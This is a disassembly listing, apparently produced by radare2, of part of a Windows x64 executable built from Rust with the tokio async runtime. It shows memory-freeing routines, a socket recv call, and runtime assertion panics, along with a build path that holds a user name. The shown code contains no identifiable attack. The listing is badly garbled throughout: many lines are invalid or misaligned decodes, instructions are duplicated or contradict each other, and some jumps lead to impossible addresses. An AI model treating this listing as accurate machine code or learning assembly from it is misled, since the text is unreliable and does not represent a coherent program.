pop rsi
pop r14
pop rbp
ret
add al, ch
invalid
cmp esi, 2
jne 0x14013de18
cmp qword [rdi + 8], 0
je 0x14013df9e
add rdi, 8
mov rcx, rdi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
jmp fcn.140002410
cmp byte [rdi + 0xe0], 0xa
jb 0x14013de41
cmp qword [rdi + 0xf0], 0
je 0x14013de41
mov r8, qword [rdi + 0xe8]
add byte [rax], al
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
add byte [rax - 0x7d], cl
mov edi, 0xa0
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rdi + 0x98]
cmp qword [rdi + 0xa0], 0
je 0x14013de61
mov r8, qword [rdi + 0x98]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rbp - 8], rdi
lea rcx, [rdi + 0x28]
call fcn.14001df80
test rsi, rsi
je 0x14013de93
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
test rax, rax
je 0x14013de93
mov r8, qword [rbp - 8]
mov eax, dword [rbp - 8]
lea rcx, [r8 + 0x20]
mov rdx, qword [r8 + 0x10]
mov r8, qword [r8 + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp - 8]
mov rsi, qword [rax + 0xf8]
mov rdi, qword [rax + 0x108]
add byte [rax - 0x7b], cl
dec dword [rcx - 0x77]
invalid
je 0x14013dee1
add byte [rax - 0x7b], cl
dec dword [rcx - 0x77]
invalid
lea rbx, [rsi + 0x18]
mov r14, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14013dec9
add rbx, 0x58
dec rdi
je 0x14013dee1
cmp qword [rbx], 0
je 0x14013dec0
mov r8, qword [rbx - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call r14
jmp 0x14013dec0
cmp qword [r15 + 0x100], 0
je 0x14013defd
add byte [rcx], al
add byte [rax], al
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [0x14023c258]
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [r15 + 0x110]
lock dec qword [rax]
jne 0x14013df1a
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x110]
call fcn.140129740
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x118]
mov rax, qword [rax + 0x120]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], rax
call qword [rax]
adc byte [rax - 0x75], cl
call 0x1488c6286
invalid
adc byte [rax - 0x75], cl
call 0x1488c6286
add byte [rax - 0x75], cl
jne 0x14013df3b
cmp dword [rax + 8], 0
mov rsi, qword [rbp - 8]
je 0x14013df69
cmp qword [rax + 0x10], 0x11
jae 0x14013df52
mov r8, qword [rbp - 0x10]
jmp 0x14013df5a
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
clc
clc
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsi + 0x130]
test rcx, rcx
je 0x14013df9e
mov qword [rbp - 8], rcx
call fcn.14006b990
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp - 8]
clc
clc
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rsi, qword [rbp - 8]
lea rcx, [rsi + 0xf8]
call fcn.14013e1d0
lea rcx, [rsi + 0x110]
call fcn.140129720
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
sub byte [rax - 0x73], cl
push 0x40
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x118]
add dword [rax], eax
add byte [rax - 0x75], cl
nop
and byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
nop
and byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add al, ch
xchg esp, eax
invalid
call fcn.1400422e0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x40
sub byte [rax - 0x73], cl
push 0x40
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
call fcn.140005270
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x130]
call fcn.14006b930
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x41], dl
push rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rcx, qword [rbp - 8]
clc
clc
call fcn.140029350
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
int3
insb byte [rdi], dx
and al, 0x30
mov qword [rbp], 0xfffffffffffffffe
cmp dword [rcx], 3
jne 0x14013e157
add rcx, 8
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.140002410
in al, dx
invalid
in al, dx
dec dword [rax - 0x77]
clc
mov qword [rbp - 8], rcx
call fcn.140129390
mov rax, qword [rbp - 8]
mov rsi, qword [rax + 0x90]
cmp qword [rsi + 0x18], 0
je 0x14013e185
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, rsi
add rsp, 0x38
cmp byte [rsi + 0x5d], bl
cmp byte [rsi + 0x5d], bl
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x90]
mov ecx, dword [rax + 0x90]
mov ecx, dword [rax + 0x90]
call fcn.140003020
nop
add rsp, 0x28
pop rsi
pop rbp
ret
int3
sub esp, 0x20
mov rdi, rcx
mov rsi, qword [rcx]
mov rbx, qword [rcx + 0x10]
test rbx, rbx
je 0x14013e221
lea r14, [rsi + 0x18]
jbe 0x14013e206
mov r15, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14013e209
add byte [rax], al
add byte [rax], al
add r14, 0x58
dec rbx
dec ebx
dec ebx
retf
je 0x14013e221
cmp qword [r14], 0
je 0x14013e200
mov r8, qword [r14 - 8]
mov rcx, qword [0x14023c258]
invalid
add byte [rcx], dh
rol byte [rcx - 1], cl
xlatb
jmp 0x14013e200
invalid
cmp qword [rdi + 8], 0
je 0x14013e246
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
int3
nop dword [rax + rax]
mov rdx, rax
and rdx, 0xfffffffffffffffa
or rdx, 1
mov ecx, eax
rol ecx, 0xe9
add eax, 0xf001e183
cmpxchg qword [rdi], rdx
rol ecx, 0xe9
add eax, 0xf001e183
cmpxchg qword [rdi], rdx
je case.0x14013d45b.4
test al, 4
je 0x14013e6aa
test al, 3
je 0x14013e290
cmp rax, 0x3f
jbe 0x14013e6c4
invalid
lea rdx, [rax - 0x40]
cmp rdx, 0x40
mov ecx, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc rcx, 2
lock cmpxchg qword [rdi], rdx
jne 0x14013e2aa
lea rax, [0x1401efa54]
or eax, dword [rax]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
invalid
lea rax, [0x1401c6680]
mov qword [rbp + 0x4e0], rax
test eax, esp
add al, 0
add byte [rax - 0x77], cl
mov ebp, 0x4e8
test eax, esp
add al, 0
add byte [rax - 0x77], cl
mov ebp, 0x4e8
lea rax, [rdi + 0x20]
mov qword [rbp + 0x508], rax
lea rax, [rbp + 0x4e0]
add al, 0
invalid
add al, 0
add byte [rax - 0x77], cl
test eax, esi
add al, 0
add byte [rbx + 0x4802307f], al
mov dword [rbp + 0x518], edi
invalid
invalid
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x4f0], rax
cmp dword [rdi + 0x30], 2
mov qword [rbp + 0x518], rdi
invalid
invalid
add byte [rax], al
sbb byte [0xc722e323], al
jmp 0x14013e328
ja 0x14013e712
mov rsi, qword [rdi + 0x28]
mov esi, dword [rdi + 0x28]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
add byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x14013e399
test eax, eax
jne 0x14013e404
invalid
mov dl, 0
add byte [rax], al
test dword [rdx - 0x75000000], esi
add eax, 0xfdfb4
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
mov al, 0
add byte [rax], al
lea rdx, [0x140165fa0]
lea edx, [0x140165fa0]
lea edx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
verr word [rbp + 0x48]
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
verr word [rbp + 0x48]
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
add byte [rcx], al
add dword [rax - 0x75], ecx
mov ebp, 0x518
mov rdi, qword [rbp + 0x518]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rcx, qword [rax + 0xd0]
mov qword [rbp + 0x510], rcx
mov rcx, qword [rax + 0xd8]
lea edx, [rax]
add eax, 0x8b480000
mov al, bl
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0x500], rcx
invalid
invalid
adc al, 0
add byte [rax], al
add byte [rcx], al
invalid
mov qword [rbp + 0x500], rcx
mov qword [rax + 0xd0], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xd8], rsi
jmp 0x14013e40d
lea rcx, [rdi + 0x20]
mov qword [rbp - 0x60], 4
lea rdx, [rbp - 0x60]
add byte [rax], al
add byte [rax - 0x73], cl
push rbp
movabs al, byte [0x48000005088d8948]
mov dword [rbp + 0x518], edi
invalid
mov qword [rbp + 0x508], rcx
mov qword [rbp + 0x518], rdi
invalid
add al, ch
push rcx
adc eax, dword [rax]
add cl, ch
add r8b, byte [r8]
add byte [rcx], dh
ror byte [rax - 0x77], 0x85
adc byte [0xcd5be40f], al
xor byte [r8 - 0x73], r9b
xchg ebp, eax
invalid
call fcn.14013f750
jmp case.0x140135311.21
xor eax, eax
mov qword [rbp + 0x510], rax
lea rcx, [rdi + 0x30]
lea rdx, [rbp + 0x4f0]
add al, 0
add al, ch
add esi, eax
invalid
dec dword [rcx - 0x18fa743d]
fimul word [rdi]
invalid
add al, 0
add al, ch
add esi, eax
invalid
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
mov rsi, qword [rbp + 0x500]
je case.0x14012082a.135
test eax, eax
jne 0x14013e4b1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
add byte [rax], al
add byte [rax], al
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rcx, qword [rbp + 0x510]
mov qword [rax + 0xd0], rcx
mov qword [rax + 0xd8], rsi
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
test bl, bl
je 0x14013e5e8
mov rdi, qword [rbp + 0x518]
mov rax, qword [rdi]
jmp 0x14013e4e6
add eax, 0x8b480000
invalid
nop word cs:[rax + rax]
test rcx, rcx
js 0x14013e6f8
add rcx, 0x40
mov dl, 1
lock cmpxchg qword [rdi], rcx
je 0x14013e51f
invalid
test al, 1
je 0x14013e6de
test al, 0x20
jne 0x14013e639
and rcx, 0xfffffffffffffffe
test al, 4
jne 0x14013e4d0
cmp dl, 2
je case.0x14013e2e6.3
movzx eax, dl
cmp eax, 1
jne case.0x14013e2e6.2
mov rcx, qword [rbp + 0x508]
add byte [rax], al
mov rdx, rdi
call fcn.1401706b0
mov rax, 0xffffffffffffffc0
lock xadd qword [rdi], rax
rol dword [rdi], 0x48
cmp eax, 0x3f
rol dword [rdi], 0x48
cmp eax, 0x3f
jbe 0x14013e758
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14013e2e6.2
mov rcx, qword [rbp + 0x508]
call fcn.14013bce0
mov rax, qword [rbp + 0x518]
add byte [rax - 0x75], cl
and al, 2
add byte [rax], al
add byte [rax - 0x75], cl
and al, 2
add byte [rax], al
test rax, rax
je 0x14013e5c9
mov rcx, qword [rbp + 0x518]
mov rcx, qword [rcx + 0x2e8]
call qword [rax + 0x18]
jmp 0x14013e5c9
mov qword [rbp + 0x518], rdi
lea rcx, [rdi + 0x20]
call fcn.14013bce0
cmp edx, edi
invalid
dec dword [rax - 0x75]
test dword [rax], ebx
add eax, 0x8b480000
and al, 2
add byte [rax], al
test rax, rax
je 0x14013e5c9
cmp edx, edi
invalid
mov rcx, qword [rbp + 0x518]
mov rcx, qword [rcx + 0x2e8]
call qword [rax + 0x18]
mov rax, qword [rbp + 0x518]
mov r8, qword [rax - 8]
add eax, 0x8b4c0000
clc
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp case.0x14013e2e6.2
mov qword [rbp + 0x240], 4
lea rdx, [rbp + 0x240]
mov rcx, qword [rbp + 0x508]
call fcn.14013f750
xor eax, eax
mov qword [rbp - 0x48], r8
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rdx
mov qword [rbp - 0x60], 3
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x508]
add byte [rax], al
call fcn.14013f750
mov rsi, qword [rbp + 0x518]
jmp 0x14013e695
add al, 0
add byte [rax], al
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x508]
call fcn.14013f750
mov rsi, qword [rbp + 0x518]
mov rax, qword [rsi + 0x28]
xor ecx, ecx
mov qword [rbp + 0x250], rcx
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x248], 1
mov qword [rbp + 0x240], 3
lea rdx, [rbp + 0x240]
mov rcx, qword [rbp + 0x508]
add eax, 0xbbe80000
adc byte [rax], al
invalid
mov rcx, rsi
call fcn.14013f3c0
nop
add rsp, 0x5c8
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_task_state.rs
lea r8, [0x1401c6308]
mov edx, 0x24
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401c6668]
mov edx, 0x26
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401c6348]
mov edx, 0x23
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401c6628]
mov edx, 0x2f
call fcn.140186b70
ud2
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 1
lea rax, [rbp + 0x4f8]
mov qword [rbp + 0x250], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_taskcore.rs
lea rcx, [rbp + 0x240]
call fcn.1401869b0
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401c65a0]
mov edx, 0x27
call fcn.140186b70
ud2
add byte [rdx], 0
add byte [rcx + rcx*4 - 0x39], cl
add al, byte [rax]
add byte [rcx - 0x75], cl
xor byte [rax + 0x66850f02], r13b
add dword [rax], eax
add byte [rax + 0x2f850f04], ch
add al, byte [rax]
add byte [rbp - 0x77], al
int3
add byte [rax], al
or byte [rbp + 0x14], sil
adc byte [rbx + rdi + 0x42], cl
adc byte [rbp + 0xa], dh
mov cl, 0x4e
xor byte [rbp - 0xf], dh
add byte [rcx + rcx*4 - 0x5b], al
int3
mov edx, dword [rax]
mov dword [rsi + 0x28], edx
cmpxchg qword [r14 + 0x30], rcx
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x80]
mov ecx, dword [rbp + 0xd0]
mov edx, dword [rbp + 0xcc]
xchg ebp, eax
int3
add byte [rax], al
add al, ch
and al, dh
call qword [rax + 0x20c48348]
invalid
invalid
xchg ebp, eax
int3
and al, dh
call qword [rax + 0x20c48348]
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
test esi, esi
xor byte [rbp - 0xf], r14b
add ecx, dword [rdi]
test byte [rax - 0x7d000000], dh
clc
add al, 0xf
test dword [0x1881403ef], ecx
mov esi, dword [rcx + 0x58]
clc
or ecx, 4
jge 0x140140453
add byte [rax], al
add byte [rax], al
idiv edi
dec dword [rax - 0x75]
mov rax, qword [rbp - 8]
leave
add al, 0xf0
cmpxchg qword [rsi + 0x30], rcx
mov eax, dword [rsi + 0x10]
clc
call qword [rax + 0x28c48348]
pop rsi
pop rbp
ret
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rax, qword [rbp - 8]
cmp byte [rax + 0x50], 0
je 0x140140551
mov rcx, rax
call fcn.140140320
nop
add rsp, 0x28
pop rsi
pop rbp
ret
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 0x10]
call fcn.14012a5a0
nop
add rsp, 0x28
sub byte [rsi + 0x5d], bl
sub byte [rsi + 0x5d], bl
ret
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
mov rcx, qword [rbp - 8]
call fcn.14012a5a0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
mov ecx, dword [rbp - 8]
call fcn.14012a5a0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
add al, 0xf0
cmpxchg qword [rsi + 0x30], rcx
mov rax, qword [rsi + 0x10]
mov esi, dword [rcx]
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xc9
add al, 0xf0
cmpxchg qword [rsi + 0x30], rcx
cmpxchg dword [rsi + 0x30], ecx
cmpxchg dword [rsi + 0x30], ecx
or byte [rbp + 0xb], dh
dec dword [rsi]
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 8]
call fcn.14012a5a0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
sub byte [rax - 0x73], cl
push 0x30
mov rcx, qword [rbp - 8]
call fcn.14012a5a0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
mov eax, dword [rcx + 0x28]
invalid
clc
invalid
stc
call 0xcb5c0735
or al, r14b
or al, dh
or al, dh
dec qword [rax]
jrcxz 0x140140737
dec dword [rax - 0x75]
clc
pop rsi
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
call fcn.140005270
mov rcx, qword [rbp - 8]
call fcn.1400cb8c0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x40]
lea ebp, [rdx + 0x40]
lea ebp, [rdx + 0x40]
mov rax, qword [rbp - 8]
lea rcx, [rax + 0x10]
call fcn.1400cb960
nop
add rsp, 0x28
pop rsi
pop rbp
ret
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
push 0x40
in al, dx
sub byte [rax - 0x73], cl
push 0x40
mov rcx, qword [rbp - 8]
call fcn.1400cba70
clc
call qword [rax + 0x28c48348]
clc
call qword [rax + 0x28c48348]
pop rsi
pop rbp
ret
add dh, bh
invalid
test eax, eax
add byte [rcx - 0x75], cl
nop
and byte [rcx], al
add byte [rax], al
mov eax, dword [rax + 0x128]
and byte [rcx], al
add byte [rax], al
js 0x14014087a
add byte [rsp + 0x48], dh
cmp dword [rax + 0x10], 0x11
invalid
invalid
add al, 0
mov esi, dword [rbp - 8]
add byte [rax], al
add byte [rdx], cl
invalid
or dh, byte [rdx + 0x20]
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rsi + rdx + 0x4c], dh
mov r8, qword [rsi + 0xf8]
mov ecx, 0xd231000f
invalid
invalid
xchg byte [rax + 0x48000000], bl
mov ecx, dword [0x14023c258]
or eax, 0xfb97a
add byte [rax - 0x75], cl
or eax, 0xfb97a
out 4, eax
add byte [rax - 0x73], cl
lea rcx, [rsi + 0x28]
invalid
lea ecx, [rsi + 0x28]
sub al, ch
xchg ecx, eax
invalid
add byte [rdi + rcx + 0x48], dh
add ecx, 8
invalid
pop rsi
adc byte [rbp + 0x56], dl
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x40
sub byte [rax - 0x73], cl
push 0x40
mov rcx, qword [rbp - 8]
call fcn.140129660
cmp byte [rbp + 0x4890fffe], cl
add esp, 0x28
cmp byte [rbp + 0x4890fffe], cl
add esp, 0x28
pop rsi
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push rsi
adc byte [rbp + 0x56], dl
sub rsp, 0x28
sub esp, 0x28
sub byte [rax - 0x73], cl
push 0x40
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
push rax
invalid
call 0x14864948f
push rax
or byte [rbx + rcx*4 + 0x40], cl
mov r8, qword [rax + 0x10]
invalid
invalid
invalid
mov r8, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
call fcn.140005270
nop
add rsp, 0x28
pop rsi
pop rbp
invalid
ret
nop dword [rax]
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov dword [rsp + 0x10], edx
push rbp
push rsi
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x40
sub byte [rax - 0x73], cl
push 0x40
mov rcx, qword [rbp - 8]
clc
call fcn.140129710
invalid
nop
add rsp, 0x28
pop rsi
pop rbp
ret
sub esp, 0x28
mov rsi, qword [rdx + 0x20]
jb 0x1401409aa
jb 0x1401409aa
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.SendError
invalid
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x7ccf7
invalid
invalid
invalid
mov r8d, 9
or dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rsi
int1
mov rdi, rax
call rax
test al, al
je 0x1401409b4
or dword [rax - 0x3b7cb7ff], esi
sub byte [rdi + 0x5e], bl
mov al, 1
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rdi
pop rsi
ret
lea rdx, [0x140190789]
std
add al, 0
mov r8d, 7
mov rcx, rsi
mov ecx, esi
mov rax, rdi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
mov eax, dword [rcx]
add eax, esi
dec qword [rax]
dec dword [rax]
dec dword [rax]
or byte [rax - 0x75], cl
or ecx, ebp
scasd eax, dword [rdi]
add byte [rax], al
add bl, al
int3
int3
int3
sbb ch, ah
in al, dx
invalid
std
std
invalid
dec esp
int3
int3
int3
invalid
dec dword [rax - 0x77]
invalid
add dword [rax], eax
add al, dh
dec qword [rax]
add byte [rax], al
or byte [rax - 0x7d], cl
invalid
in al, dx
call qword [rax + 0x30c48348]
invalid
invalid
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
push 0x30
mov rcx, qword [rbp - 0x10]
call fcn.1401409f0
invalid
call qword [rax + 0x20c48348]
invalid
invalid
invalid
invalid
and byte [rbp - 0x3d], bl
int3
pop rbp
ret
dec dword [rsi + 8]
mov ecx, dword [0x14023c258]
invalid
ror byte [rcx - 0x77], cl
invalid
and eax, 0x4e562
add byte [rax + 0x20c48348], dl
add esp, 0x20
stosb byte [rdi], al
invalid
int3
int3
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov dh, 0x81
loopne 0x140140b09
add byte [rax], al
add byte [rbp - 0x7cc58b40], al
clc
add esi, dword [rbp + 0x7c]
clc
sbb dword [rbx + 0x48000001], 0xf05f883
xchg eax, ebp
add byte [rax], al
add eax, 0xe8870f
add byte [rax], al
invalid
add byte [rax - 0x73], cl
or eax, 0xaef35
lea ecx, [0x1401efa64]
invalid
add al, 0x81
clc
invalid
mov eax, dword [rbp - 8]
cmp dword [rsi + 0x18], 0
mov eax, dword [rsi + 0x10]
adc byte [rax - 0x75], cl
or eax, 0xfb6ea
invalid
mov dh, recv
invalid
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0x4e4b2
in al, 4
invalid
in al, 4
add byte [rax - 0x75], cl
mov ecx, dword [0x14023c258]
invalid
mov dh, recv
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax + 0x38c48348], dl
invalid
mov esi, 0x1c8
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rsi + 0x1c0]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
or eax, 0xfb6a5
invalid
invalid
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0x4e46d
insd dword [rdi], dx
in al, 4
add dh, al
xchg byte [rcx + 1], bl
add dword [rax], eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x75], cl
clc
sbb byte [rdx + 1], 0x80
add byte [rax], al
add byte [rax + 0x198b8], al
mov eax, 0x198
invalid
mov eax, 0x198
add byte [rbx + riz + 0x4c], dh
and ecx, dword [rbx + rcx*4 + 0x45]
clc
and ecx, dword [rbx + rcx*4 + 0x45]
clc
mov eax, dword [rax + 0x170]
jo 0x140140be0
add byte [rax], al
add byte [rcx - 0x75], cl
nop
js 0x140140be7
invalid
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x73], cl
mov byte [rax + 0x4d000001], cl
invalid
lea ecx, [rax + 0x188]
mov eax, dword [rax + 0x180]
add byte [rax - 0xffffff], 0x50
push rax
adc byte [rax - 0x75], cl
clc
lea ecx, [rax + 0x150]
push rax
add dword [rax], eax
add dh, al
sbb byte [rax + 1], 0xe8
call fcn.14006b820
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
sub byte [rcx], al
add byte [rax], al
sbb byte [rax], al
invalid
nop dword [rax + rax]
add byte [rax], r8b
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rax, qword [rbp - 8]
clc
clc
mov rcx, qword [rax + 0x90]
call fcn.140003020
shl dword [rbx], 1
in al, dx
invalid
nop
add byte [rax], al
add al, ch
shl dword [rbx], 1
in al, dx
